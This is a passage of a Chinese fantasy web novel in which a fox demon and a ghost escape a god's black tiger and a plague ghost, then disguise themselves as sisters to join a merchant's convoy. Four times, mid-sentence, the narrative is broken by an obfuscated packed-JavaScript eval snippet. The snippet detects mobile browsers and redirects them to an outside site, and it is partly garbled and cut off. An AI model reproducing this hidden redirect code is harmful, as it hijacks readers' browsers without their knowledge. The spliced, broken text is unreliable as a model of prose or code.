不过阿难给自己安排了修真人士的身份,就没人会小瞧他了。但孙里正还是有些不放心孩童版的应长恨。 “和真人,你小弟年纪尚幼,当真可以上山协助你对付猛虎吗?” “没问题,他和我一样是修士。年纪虽小,道行却不低,尤其驱鬼很有一套的。上山后,我负责打老虎,他负责驱伥鬼。” 当着孙里正的面,应长恨只能默认自己的修士身份,私下里再数落阿难。 “你说瞎话还真是张口就来,我一个厉鬼居然被你说成了驱鬼有术的修士。” “不然呢?难道告诉孙里正你是煞气冲天的厉鬼,我带你去是为了大鬼降小鬼吗?老人家年纪大了,经不起这么吓的。” . 夜晚的玉岭,一座座突兀挺拔的山峰,如同一把把钢刀插在大地上。行走于山路之间,就像是走在屠宰场一样阴森又恐怖。 “阿难弟弟,你觉不觉得这地方有点吓人?” 应长恨冷冰冰地回答道:“不觉得,而且我也不认为这地方能够吓到你——一个妖怪装什么柔弱呢?” 阿难笑眯眯地说:“因为装柔弱有用,可以扮猪吃老虎啊!” 翻过一座山后,他们还没有发现老虎的踪影,倒是遇上了一个樵夫模样的中年男子。 “这么晚了,你们两个怎么还在山上乱走呢?山里头可是有老虎的,当心被它吃了。” 时候不早了,没有人会在深夜的深山四处闲逛,同理也不会有樵夫还在山里披星戴月的砍柴。 这个樵夫的出现明显是不正常的。 阿难假装惊恐地问道:“真的吗?樵夫大哥,那你怎么也还在山上砍柴呢?不怕被老虎吃吗?” “我正准备回家,我家就在附近,要不你们跟我一起回去,住上一宿再走吧?” “那再好不过了,多谢大哥。” 对视了一眼后,阿难和应长恨一起跟着樵夫走。 他们早就已经看出来了,这个樵夫是鬼——他显然就是已经化作伥鬼的老莫。 老莫在山中遇见了活人,就想把人骗去给老虎吃掉,这人迹罕至的深山里哪有什么人家居住啊! 沿着山间小路七绕八绕一番后,老莫把他们领到了一个山洞前。 一只老虎就懒洋洋地趴在洞口打盹,一位妇人和一个少年守在一旁为它梳理皮毛,应该就是老莫妻儿所化的伥鬼。 “大王,小的今晚带来了两个活人,大王可以尽情饱餐一顿。” 老莫一边说,一边想把阿难和应长恨推出去“献宝”。 刚一转身,他的眼睛就愕然无比地瞪圆了。因为原本跟在身后的两个人,突然凭空消失不见了。 . 刚刚看清楚那头趴着打盹的老虎是何模样,阿难就立刻一把拎起应长恨闪了。 他闪得很快,一眨眼的功夫就闪电般掠出了十丈以外。 孩童版的应长恨个头矮小,跟在老莫身后被挡住了视线。 他都还没看见老虎是啥样,就被阿难火速带离现场,整个人都无法不发懵。 “你突然跑什么?还有你是想勒死我吗?快松手。” 带着应长恨跑的时候,阿难顺手揪住了他的后领襟,活像拎小猫似的把他拎在手里,自然是勒得他脖子难受。 “不跑不行啊!那不是寻常的老虎。等会儿,我再跑远一点再把你放下来,那样更保险。” 一口气掠过三座山头后,阿难才放下应长恨,跌坐在草丛里直喘粗气。 这种瞬间移动的逃跑方式很消耗法力,何况他还带了一个人,自然是累得不轻。 与之相反,应长恨一脸轻松地站在一旁,只需要整理一下被拎扯得变形的衣裳。 阿难这回逃跑没拉下自己,他心里很满意,不过嘴里却是不会说出来的,还要一如既往的挖苦他。 “不是寻常的老虎,这么说是成了精的虎妖喽!那就难怪你要跑,肯定是打不过人家的。” “也不是虎妖。” “那你跑什么?到底是怎样不寻常的老虎,能把你吓得这样掉头就跑?” “那是一头黑虎,很不寻常的黑虎——我这么说你明白了吧?不需要再解释了吧?” 应长恨出其不意地一怔:“黑虎,难道是陆衢的座骑吗?” 太玄真君陆衢和太清元君温且惠,是一对三界著名的神仙夫妇。 他们的座骑一飞禽一走兽,温且惠乘青鸾,陆衢骑黑虎。 “没错,就是它。现在你知道我为什么要跑了吧?” 应长恨自然懂了,冷冷一笑。 “神仙的座骑下凡吃人,可是见不得光的事。如果黑虎发现我们并非送上门的食物,而是能识破它身份的妖鬼,自然是要杀了灭口。” “所以啊,我趁它还在打盹没有睁眼,赶紧脚底抹油溜了。” “眼下凭咱们的能耐很难对付这头黑虎,老虎是打不成了,你打算怎么办?” “还能怎么办?当然是去找它的主人来清理门户了。” “可是它的主人在云间仙境,凭你这点法力,想要登上天界根本没戏。” “虽然上不了天界,但我可以多烧几炷信香给太玄真君和太清元君,没准他们能收到呢。” 对于阿难这个不是办法的办法,应长恨只觉得好笑。 他嗤道:“每天数以万计的信香,你凭什么觉得他们会注意到你烧的那几炷?” “不试试怎么知道不行?况且眼下也只能去碰运气了,万一运气好碰上了,那问题不就解决了嘛!” 应长恨半真半假地挪揄阿难道。 “你不是想攒妖品吗?怎么不为了解救百姓于虎口,勇敢地冲出去跟黑虎搏斗呢?那样你的功德薄上,一定能够添上浓墨重彩的一笔。” “我是想攒妖品,但前提是不能送人头。明知不是对手还冲出去送死,那不叫勇敢叫愚蠢。阿难弟弟,就算是我想犯这种蠢冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867671|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去莽干,你肯定也要拦着不准吧?” “那是自然。你想牺牲自己去拯救别人,老子还不干呢!” “既然咱俩都不想干这样的蠢事,那就找个地方猫起来藏好,等天亮了再下山吧!” 夜里下山太危险,老虎是听力目力都十分敏锐的夜行动物,他们就算再小心,也难保不会被它发现。 应长恨正想点头,忽然神色一变:“恐怕来不及了。” 话音未落,一头猛虎已经神不知鬼不觉地蹿出密林。 浅黑色的皮毛上遍布深黑色的斑纹,看上去格外与众不同,十分威武霸气。 阿难顿时一个头两个大,还是小瞧了这头畜生,毕竟是神仙座骑,想要从它眼皮子底下逃之夭夭没那么容易。 黑虎瞪大一双铜铃似的眼睛,盯着他俩口吐人言。 “伥鬼说带了两个人过来,却一转眼就不见了,我便知道绝非凡人。一见我就跑,你们肯定是认出我的来历了。” 阿难苦笑道:“如果我说没有你信吗?” “当然不信。” 阿难又作揖赔笑道:“黑虎大仙,我们就是普通的小妖小鬼,你就行行好放我们一马吧!我们保证不会出去乱说,就算说了也没人信的,毕竟人微言轻。” “不管你们说不说,也不管别人信不信,我都不可能放你们走。既然是要保密的事,就只有死人才能真正保守秘密。” 黑虎一边说,一边朝着他们气势汹汹地扑过来。 阿难赶紧往应长恨身后躲,很不要脸地推他出去挡老虎。 “阿难弟弟,靠你了!一定要挺住啊!” 应长恨不想挺住也不行啊,除非他想命丧虎口。 小小孩童摇身一变,变成手持大刀的黑衣男子,神色冷酷,刀法刚猛,把雪亮的鬼头刀抡成一片锋芒逼人的刀光,逼得黑虎连连后退。 “鬼刀风雷怒,你是厉鬼应长恨。” “正是,想杀我灭口,你恐怕没那个本事,你家主子在还差不多。” 云间仙境与无间鬼域,恰如太极图的阴阳两面。 曾经的鬼域之王,有着能与天界帝君一战的能耐。 如今鬼域最有名的四大恶煞,也是能让不少仙官们都感到头疼的厉害角色。 如果能不正面杠上,他们都不想直撄其锋,万一光荣殉职了多倒霉啊! 黑虎面露忌惮之色,但想一想又觉得有些不太对劲。 “既然如此,那你刚才跑什么?这可不像厉鬼的作风呢!” “你家主子毕竟是三界有名的仙官,如无必要,我也不想轻易杀了他的座骑。况且你私自下凡吃人,跟我又没有一文钱关系,我也没必要替别人出头干掉你,还因此得罪太玄真君吧?” 应长恨应变也是很有一套的,一番话说得在情在理,阿难也在一旁帮忙敲边鼓。 “是啊黑虎大仙,当时是我拉着他跑的。你贵为太玄真君的爱虎,我们不想管闲事,只想装作没看见。要不这事就这样过去了吧?你走你的阳关道,我们走我们的独木桥,互不干扰。” 23.鬼箭幽厄 黑虎将信将疑地打量着他俩,还是觉得不对劲。 “那你之前为什么要缩小形态变成孩童模样?四大恶煞之一绝不会无缘无故这么做的。见了我就跑,也说明你压根就不想跟我交战。该不会是你的修为受损,这才被迫变幻形体,只能走为上计吧?” 黑虎的智商在线不好蒙,阿难只有苦笑的份儿,应长恨也只能咬牙硬挺到底了。 “你觉得我实力受损吗?那你要不要再来试试我的鬼头刀?” “试就试,就算我打不过你,跟你过上几招的能耐还是有的,实在打不过再跑喽!” 黑虎再次对应长恨发动了进攻,一鬼一虎杀得难解难分。 虽然应长恨暂时不落下风,但是他比任何人都更清楚自己没法打持久战,必须要速战速决。 突然间,握在应长恨手中的鬼头刀,猛地爆闪出一道白虹似的刀芒。 那刀芒足足射出几十米远,所到之处,无数参天树木纷纷被劈成两段。 因为这道所向披靡的刀芒,那柄原本只有三尺七寸长的鬼头刀,等于变成了几十米的长刀。 一刀挥出去,半个山头都在它的锋芒之下,堪称大规模杀伤性武器。 躲在一棵大树后面观战的阿难,“哇”的一声道:“放大招了!这四十米的大刀真是够威武啊!” 黑虎与应长恨交战时,所有挪移腾闪的动作,都只是为了避开那柄常规尺寸的鬼头刀。 当刀芒突然暴涨,它猝不及防之下自然是无法全身而退,试图挡刀的右前肢被斩飞了,疼得它嗷得一声惨叫。 一边惨叫,黑虎一边扭头就跑。 四肢已经失去一肢,这充分证明它不是应长恨的对手,再不赶紧跑就只能等死了。 虽然少了一条腿,但黑虎逃的速度还是快得惊人,片刻功夫就已经蹿出老远。 应长恨也没有追赶的意思。 那石破天惊的一刀挥出后,他已是强驽之末。不过是咬紧牙关站得笔直如初,不肯露出半分颓态罢了。 黑虎正仓惶逃离着,忽然不知从何处飞来一支箭,闪电般直接射入它的后背心。 一声惊天动地的虎啸后,它彻底趴下不动了。 应长恨和阿难也都没动,两个人四只眼睛,全都死死盯着那支要了黑虎性命的箭。 . 那支箭通体银白,饰以白翎,月光下折射出凛凛寒光,就算是在漆黑的夜色中也十分醒目。 这是鬼箭幽厄,疫鬼厉无情的独门武器。这个箭名的意思是灾难,而它的每一次出现也意味着灾难。 幽厄箭分无形箭和有形箭。 无形箭是对付凡人的无形箭气,一旦中箭就会生病,而且还是会导致人传人的疫症。 一个人中了箭,最后能传染一大波人跟着生病与死亡,这些亡灵的怨气都能被他收为己用。 有形箭是对付敌人的有形箭矢,锋利无比的箭镞,有着穿心透骨的强大杀伤力。 据说无论妖魔鬼怪还是神仙,只要射不开致命一箭的话,都会成为箭下亡魂。 这个原本只是纯理论上的说法,毕竟以往从未听说疫鬼射杀过哪位神仙。 直到这一刻,倒霉的黑虎成为了实际范例。 幽厄箭既然出现了,它的主人自然也就近在咫尺。 果不出其然,一个雌雄莫辨的声音,很快就在阿难的身后轻轻扬起。 “和兄,真巧啊!咱们又见面了。” . 阿难循着声音一回头,就看见了独自一人踏月而来的厉无情。 即使在深夜昏暗的山林中,厉无情依然是一个谁也无法忽略的存在。 不只是因为他穿着一袭月中聚雪似的皎洁白衣,还因为他的肤色比衣裳更加皎洁三分,整个人看上去宛如白玉琢就的璧人一般。 这样珠温玉润的一位白面公子,真是横看竖看都看不出来,刚才致黑虎于死地的索命一箭就出自他手。 应长恨的脸色难看到了极点,阿难则苦笑不已:这可真是鹬蚌相争,渔翁得利啊! 上山打老虎遇上神仙座骑的黑虎下凡吃人,追着他俩要灭口,就已经够倒霉了! 谁知在应长恨拼尽全力吓退黑虎之际,疫鬼厉无情居然又冒了出来,这家伙摆明了是想捡个大漏。 如果撇开个人利益关系就事论事的话,这个漏确实很值得一捡。 厉无情不但一箭射杀了受伤的黑虎,可以掏出它的内丹当十全大补丸吃,更能趁此机会把厉鬼也吞噬了。 有了这番双重大滋补,他想问鼎鬼王的宝座可谓是胜算在握。 “李公子,原来你是厉公子啊!真是失敬失敬。” 阿难从大树后面走出来,打着哈哈开了口。 厉无情美如好女的面孔上也绽出一丝微笑,笑容令人如沐春风,一丝一毫杀气都无。 “和兄,你与厉鬼结伴同行,显然早就知道我是谁了,又何必再说这样虚伪的客套话呢!” 一听这话,阿难就知道自己和应长恨早就暴露了。 当初浮玉山下偶遇时,厉无情没准就留意到了提前回避的应长恨。 当时他未必清楚这个小鬼就是厉鬼,只是觉得他形迹可疑,所以一直暗中跟着他们。 直到今晚发现有机可乘,就跑出来捡一个现成的大便宜。 “厉公子,我虽然跟他结伴同行,但我跟他其实一点也不熟。你们如果要打打杀杀的话,能不能先放我走呢?” 阿难果断跟应长恨撇清关系划清界限,还走上几步尽量跟他拉开距离。 原本他俩之间就隔着两丈远的距离,这一下至少在四丈以上了。 应长恨睁圆双眼瞪着阿难,脸色铁青地重重一哼。 “疫鬼,今晚我是逃不出你的手心了。我这一身鬼元精华既然要归你所有,那你能不能答应我一个请求,杀了这个小妖为我陪葬?” “我倒是没问题。” 厉无情一脸无可无不可地点点头,又扭过头似笑非笑地看了阿难一眼。 “就是不知道,和兄是否愿意满足你的这一要求。” 阿难自然是强烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883834|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反对,哇哇大叫着说: “当然不行。自己要死了还非得拉别人垫背,就算是做鬼也不能这么不厚道吧?应长恨,我劝你善良。” 应长恨满脸怨毒地瞪着阿难,咬牙切齿道: “臭妖怪,我落到今日这种下场都是因为你,为什么还要对你善良?今晚我非要拉上你一块死不可,你休想一个人活命。” “你这个可恶的家伙,居然一定要拖着我去死,那我先下手为强把你弄死再说。” 阿难满脸气急败坏的神色,撸起袖子冲过去,把已经摇摇欲坠的应长恨扑倒在地,骑在他身上左右开弓地暴打一气。 “死鬼,我忍你很久了,老虎不发威你当我是病猫啊!今天不打死你,我就不姓和。” 被人骑着打这种事,应长恨完全没法忍。 他目眦欲裂地瞪着阿难,拼命调动最后一丝力气,猛地一口咬住他落在自己脸颊上的一只拳头,鲜血立刻涌了出来。 “啊!好疼!快松口啊!” 虽然自己的手也疼得要命,但应长恨却不肯松口,还更加用力地磨着牙齿,恨不得直接咬死这个臭妖怪。 . 厉无情背负双手后退几步,神色愉悦地欣赏着眼前这幕狗咬狗的戏码,感觉比看戏要精彩多了。 阿难出手杀了应长恨对他没影响,反正他只要趁其魂体未散前吞噬掉就行了。 下一瞬,恶狗嘶咬般缠斗在一起的两个人身上突然金光大绽,光芒灼亮又刺眼。 厉无情不自觉地头一偏掉开视线,等到他再回头时,金光已经消失了。 那对狗咬狗的一妖一鬼也跟着消失不见了,只剩下一片被压得东倒西歪的杂草,证明这里片刻之前有人打斗过。 一眨眼的功夫就跑得踪影全无,只有一个法术能够做到,那就是能够缩地脉千里的缩地术。 这可不是什么小妖小怪能够掌握的基本技能,而是三界之中只有大能们才能运用的高阶术法。 厉无情原本满脸的愉悦神色顿时荡然无存,俊美的面孔上满是怒不可遏的表情。 他气冲冲的一脚猛踹,踹翻了身前那棵两个人都合抱不拢的参天大树。 “和、光——我还真是小看你了!” 厉无情说的这句话,每一个字都是从牙缝里挤出来的,淬满了浓稠的怨毒与憎恨。 原本他以为和光是一个只能替厉鬼打打掩护的小妖,可以同甘不能共苦,甚至还会背后捅刀子的那种妖渣。 没想到这家伙看似没骨头的软脚虾一只,其实是在扮猪吃老虎,关键时刻竟放大招把厉鬼救走了! 看走了眼的厉无情,气得一张玉白的面孔隐隐透青,两排牙齿咬得格格作响。 如此难得的能够吞噬厉鬼的大好机会,居然就这样错失良机了,让他怎能不恼怒到极点? 目光扫到不远处的黑虎尸体后,厉无情满心澎湃如潮的怒气才总算稍有平复。 虽然得不到厉鬼的鬼元精华了,但幸好还有这头神仙座骑的内丹作为补偿,今晚也算是没有白来一趟。 24.救命之恩 金光突然大绽的一瞬间,应长恨还没反应过来怎么一回事,眼前就蓦然一黑,什么都看不见了。 片刻后,一双眼睛重获光明时,他愕然发现自己身处的环境已经变了。 不再是林繁草茂的深山里,而是躺在一片波光粼粼的湖水中。 普通人落在水里,如果不善泳的话肯定已经淹死了。 但是应长恨是鬼,阿难是妖,都不是会溺亡的物种,而是轻如落叶似的漂浮于江面上。 “喂,你现在该松口了吧?再咬下去可就是恩将仇报了!” 应长恨后知后觉地松开嘴,阿难从他身上翻下去,平躺在水面上,举起已经被咬出一排血窟窿的右手背呼呼喊痛。 “死鬼,你是属狗的吗?我皮糙肉厚的都被咬成这样,下嘴也太狠了!” 一脸困惑地沉默片刻后,应长恨直截了当地开口问道:“臭妖怪,我都要拖着你一起死了,你为什么还要救我?” “因为我贪图你的美色,想通过救命之恩让你以身相许。这个答案怎么样?” 对于阿难很不正经的回答,应长恨哭笑不得地回了三个字:“少扯蛋。” “也是,你哪有什么美色啊!人家疫鬼那才叫有美色。你长得没他俊俏,又总是一副能冻死人的冰山相,动不动就给我脸色看。要不是为了攒妖品渡雷劫,我才不救你呢!救人一命胜造七级浮屠,救鬼一命想来也差不多吧!” “救一个厉鬼,还想胜造七级浮屠,你真是想多了。” “不算吗?那我岂不是亏大发了!为了把你从疫鬼手里捞出来,我还动用了唯一一张缩地成寸符,这个可是很宝贵的。我不管算你欠我的,你以后要怎么报答我啊?” “你既然救了我一命,以后我也不会再要你的命。还有魅鬼和疫鬼如果想对你不利,我也一定会保你的。” 应长恨很干脆地点头认账,不管阿难是出于什么理由救了他,他终究是受益者,这个恩情不能不认。 阿难一脸不太满意的样子,讨价还价地说:“这就完事了?救命之恩不是应该以身相许吗?” 应长恨冷着一张脸反问道:“你不是嫌弃我没有美色吗?那还要求什么以身相许?” “美色不重要,毕竟我又不好男风,但是你可以换个方式以身相许嘛!比如以后给我当牛做马、为奴为婢什么的。” 阿难笑嘻嘻的一番话说完后,应长恨冷酷无情地给了他一个字的回答——“滚”。 “刚救完你就让我滚,死鬼,你也太翻脸不认人了吧?做人不能这么无耻啊!” 应长恨自动屏蔽掉无耻这一指控,直接问重点。 “你刚说你动用了缩地成寸符,又是你自学成才画的符咒?” “是啊,这么厉害的术法我都自学成才了,是不是超级无敌优秀?” 阿难一派自吹自擂的口吻,应长恨照样是连标点符号都不信。 缩地术这样的高阶术法,绝不是一个小妖就能自己学会的。 一来连此类法术秘笈的边都摸不着;二来就算是侥幸得了一卷法术秘笈,也会如同看天书一般云里雾里。 低阶术法与高阶术法,就像《三字经》与《道德经》的区别。虽然同样都是文字,但后者比前者晦涩难懂一百倍都不止。 “如果你真的是自学成才就掌握了缩地术,那你的优秀放眼三界都无人能及。” “谢谢谢谢,谢谢夸奖。其实我学得马马虎虎,也就是半桶水的水准了。” “看得出来,缩地术至少也能去往千里之外,可是咱们眼下却泡在扬子江中,显然你只缩了不到五百里的距离。” 扬子江因扬子津渡口得名,应长恨已经认出了不远处那处渡口,自然也就知道自己身处何地了。 “有五百里就算不错了,毕竟我还带着你呢,已经算是超正常发挥。估计也是你咬得够狠,血流得够多的缘故,因为这张符一定要用我的鲜血来驱动。” 应长恨不是笨人,恍然大悟地说: “所以你骑着我打的时候,是故意把拳头往我嘴边送的?那你一开始要求厉无情先放你走,也是知道我肯定不会答应要拖着你一起死。所以故意那么说,好顺理成章地冲过来打我,再启动缩地成寸符一起走是吧?” “恭喜你,都猜对了。” 厉无情出现时,阿难和应长恨之间隔着两三丈远的距离。 如果他主动往他那边凑,疫鬼一定会警觉地认为他们是想要联手对付自己,但狗咬狗的撕打起来就是另一码事了。 应长恨忍不住再次问道:“我连死都要拉上你垫背,你到底为什么还要救我?” 阿难煞有介事地回答道:“阿难弟弟,我一见你就觉得亲切,倒像是久别重逢的亲兄弟一样。如果你不介意的话,以后我就是你大哥,你就是我小弟……” 应长恨没好声气地打断道:“闭嘴吧你。” . 扬子津渡口位于邗城,这里有着东汉广陵王的千年古墓,很适合鬼躲进去养魂。 应长恨之前对战黑虎拼尽全力,眼下就需要这种阴气足的地方滋养阴魂。进去一呆就是三天三夜,出来时又是一个小孩。 阿难笑眯眯地说:“阿难弟弟,我还以为你闭关三日出来后又是一条好汉,怎么还是小孩呢?” 应长恨无可奈何地叹了一口气。 “你以为我想啊,这不是没办法嘛!炼制法宝让我消耗了太多法力,如果被其他恶煞发现那就只有受死的份儿。只能缩小形态变成小鬼,尽量避免引起注意。” “现在厉无情已经识破了你的小鬼伪装,也一定会再想办法找机会吞噬你,友情建议你最好是换一下伪装。” “如果法力足够,我还可以变成其他模样,可就是不够啊,只能缩小为自己的孩童外形。” “既然换不了外形,那就扮成小女孩吧!厉无情一定想不到堂堂厉鬼会假扮小女孩,那样你就安全多了!” 七八岁的小男孩与小女孩外表特征区别不大。穿上一身裙装,再挽上一对双垂环髻,男童也就如女童一般无异。 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913360|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于这样的骚操作,应长恨本能地想要拒绝,但转念又一想,这的确是一个让人意想不到的法子。 虽然假扮女童不是一件能让他愉快接受的事,但是被疫鬼吞噬更加无法接受,只能两害相权取其轻了。 “如果我要扮成小女孩的话,那你也扮成女人好了。否则咱们走在一块,疫鬼就算认不出我,也会认出你的。况且魅鬼也想把你找出来弄死呢。” 应长恨不想一个人男扮女装,试图把阿难也拖下水。反正这妖怪是假扮女人的一把好手,不算为难他。 阿难半句推脱都没有,不假思索地就点了头。 “英雄所见略同,我也是这么想的。咱俩扮成女人上路,无论魅鬼还是疫鬼,一定都打死也想不到的。是吧?” 应长恨一边点头称是,一边在心底暗叹:要论骚操作,谁都骚不过这家伙。 . 假扮女人固然不容易被认出来,但女子单独出远门却是很不合理的事。 接下来阿难准备继续朝着东海的海中洲进军,一路上跋山涉水还要走上千里路。 如果是一大一小两个女人独自上路,分分钟会被山匪抢去当压寨夫人的节奏,没有哪个弱质女流敢冒这种风险。 对于阿难和应长恨来说,这样的风险自然不足为惧,却会暴露出他俩不是寻常的“弱女子”。 疫鬼又是一个精细人,万一被他察觉出异样就要大事不妙了。 阿难看似不着调很没谱的一个妖,其实做起事来心细如发,绝对不想冒这个会暴露的风险。 这几天阿难一直没闲着,在邗城最大的酒楼干了几天打零工的跑堂。 酒楼这种地方龙蛇混杂,消息来源也多。他既能赚钱糊口,也能听说城里最近有什么新鲜事。 邗城近日有富商四处采买色艺双全的妙龄女子,听说要送往鄞城一位大官的府第充当家伎。 豪商巨贾送姑娘巴结权贵,是时下常见之事。 从邗城到鄞城有上千里路,到了鄞城距离东海的海中洲就不足两百里远。 富贾千里送佳人的这趟车马之行,阿难打算去蹭上一蹭。 . 一个时辰后,阿难带着应长恨,一起去找富贾委托的牙行自卖自身。 上次在华城,阿难乔装成女人时,是蓬头垢面邋里邋塌的乞丐婆。这回要走色艺双全的路线,自然要打扮得格外出众才行。 拿出手头不多的一点银两,阿难买回一月白一桃粉两套女装。 他先把自己装扮成了淡妆素服的美貌佳人一枚,除了衣着发型方面的改变,还巧妙地把喉结隐藏起来了。再把应长恨打扮成穿着桃粉裙衫的小女孩。 一身娇嫩粉衣的应长恨感觉浑身上下都不自在,小脸蛋皱得跟苦瓜似的。 “别一副愁眉苦脸的样子,多笑一笑了。尤其是一会儿见了人牙子,更要笑得灿烂一点,否则人家不要你这个不小点怎么办?” 应长恨这个小女孩的年龄,不在采买范围内,只能靠阿难的三寸不烂之舌去忽悠了。 25.阿福 牵着应长恨“小姑娘”的小手走在街头时,阿难“姑娘”一步三摇,走得宛如风摆杨柳一般。 吸引了不少路人频频朝他行注目礼,眼睛很馋的那种。 路旁几个浪荡子模样的家伙,还冲着他嬉皮笑脸,言语轻浮。 “哟,这是谁家的姑娘,模样好生标致啊!” “瞧瞧这杨柳小蛮腰,走起路来扭得真好看。” 应长恨忍不住瞪了那些浪荡子一眼,又数落阿难道:“你差不多就行了,也不怕闪了腰。” “有人出言调戏,就说明我演技超棒,扮女人扮得非常成功,这是好事啊!” 阿难一脸骄傲自豪的表情,还走得更加婀娜多姿。 旁人都觉得这“姑娘”走起路来扭得甚是好看,只有了解内情的应长恨默默捂脸,觉得根本没眼看。 . 来到牙行找到牙婆后,阿难“姑娘”开始了楚楚可怜的表演。 “我们姐妹二人本是高邮人士,我叫桃娘,妹妹叫杏娘。父母双亡后来邗城投亲,谁知却寻亲不遇,盘缠也用完了,眼下走投无路。听说牙婆你正在采买良家子,预备送往鄞城一位达官贵人的府上。小女虽不才,却也略通文墨、浅识音律,愿意自卖自身寻条出路。” 眼前这位美貌佳人姿色出众,谈吐文雅,像是书香门第出身的小姐。 一朝落难不得已自卖自身,是不可多得的上等货色,牙婆自然是忙不迭地点头答应。 “行行行,没问题,以姑娘你这等才貌,老婆子可以断定,将来入了贵人府一定能倍受宠爱出人头地的。” “谢你吉言。只是我妹妹还小,我不能撇下她。请问能不能行个方便,连她一起买了同往鄞城呢?她虽然年幼,模样却还算清秀,又生得聪明伶俐,入府后现学歌舞技艺也来得及的。” 阿难一边姿态温婉、声音温柔地说着话,一边把应长恨推到牙婆面前“展示商品”。 他再不情不愿,也还是进入表演模式,仰起一张红苹果似的小脸蛋,冲着她笑成了一朵怒绽的春花。 “婆婆好,杏娘这厢有礼了。” 牙婆低下头,仔细端详了应长恨“小姑娘”一番,发现这是一个小美人胚子,一起买下也不吃亏了。 “行,我可以把你们姐妹俩一起买了,一同前往鄞城应该也问题不大。现在你们先随我去后厢房验身吧!” 达官贵人采买良家子入府,都要事先验明是否清白之身,这也是惯例。 这个时候,阿难的幻术就可以派上用场了。 牙婆为“姐妹俩”验身时,自以为看到的一切其实都是幻象,他们压根就连衣服也没解开过。 . 两天后,一个由八辆马车和十几名护卫家丁组成的车队,浩浩荡荡地离开了邗城前往鄞城。 阿难和应长恨“姐妹俩”坐在同一辆马车里,另外还有四辆马车分别载了八位妙龄女子,剩下的三辆马车则用来装行李。 富商要送这批年轻貌美的姑娘去巴结权贵,一路上的衣食住行都不敢怠慢,把她们当成千金小姐一样精心伺候着。 所以阿难和应长恨的这趟行程,不但舒舒服服地坐着马车赶路,还吃得好住得好。 穿得也不差,十位姑娘都穿着同样的白绫单衫红罗裙,可谓是遍体绫罗。 “怎么样?我决定来蹭这趟车是不是很英明?一路上的衣食住行都被打点得妥妥当当,咱们半点都不用操心,只管吃吃喝喝睡大觉就行了。” 应长恨对其他的都没意见,只是看自己的一身女装很不顺眼。 “如果不用穿这身衣裳就更好了。” “哪有这么十全十美的事,能这样舒服的赶路已经很不错了,你就知足吧!” 这倒也是,应长恨啃着手里一块香甜可口的桂花糕,不再有意见了。 这时候,那只大阿福娃娃自己从他袖笼里滚出来。泥塑的眼眶里,两只画上去的眼珠,跟活了似的滴溜溜乱转着四处看。 以前应长恨会把这个娃娃藏起来,轻易不让阿难看见。自从他从疫鬼手里救了他后,他就不再藏着掖着它了。 只要他们俩独处的时候,大阿福经常自己跑出来“玩”。 他头大身子小,整个人是椭圆形。虽然没有手也没脚,但是可以到处滚,弹跳力也不错,行动还是挺方便的。 “你这法宝叫什么名字?” “就叫阿福,你那铃铛呢?” “我管它叫小铃。” 阿福似乎知道小铃跟自己是同类,最喜欢找它“玩”。老是用额头去撞虎头铃铛,试图与之进行交流。 但是无论它怎么撞,虎头铃铛都十分高冷地一声不吭,一副“本铃才懒得搭理你”的嫌弃作派。 这回也一样,锲而不舍地撞了好久后,单方面沟通失败的阿福,原本笑嘻嘻的面孔变成了哭唧唧的表情,滚回应长恨的手心求安慰。 “我家阿福想知道,你的铃铛为什么不响?” “我家小铃是个高贵冷艳的铃铛,一般情况下很矜持不爱响。” 对于阿难这个一本正经的回答,应长恨翻了一个大白眼。 “我说的是真的,你翻什么白眼啊!” “我没翻白眼,我只是在仰望天空。” “我信你个鬼——呃,你本来就是鬼。” . 车马行至吴城后改走水路,所有人登上一艘楼船,穿行于烟波浩渺的太湖之中,目的地是太湖另一侧的菰城。 上船后的第一晚,阿难和应长恨吃饱喝足了就上床睡觉。 睡得正香时,突然听到有人在外面拍门,是随行护送的家丁在敲门。 “开门,快点开门。” 阿难“姑娘”睡眼惺松地打开门后,一名家丁举着灯进屋查看了一番,又问了一个问题。 “你们有没有见过商姑娘?” 商姑娘是一同被送鄞城的十位妙龄女子之一,阿难跟她一点也不熟。他们此番同行不过是蹭车,不需要跟其他姐妹们太过熟络。 不过阿难是个精细人,还是留意到商姑娘一脸愁容,显然并不情愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 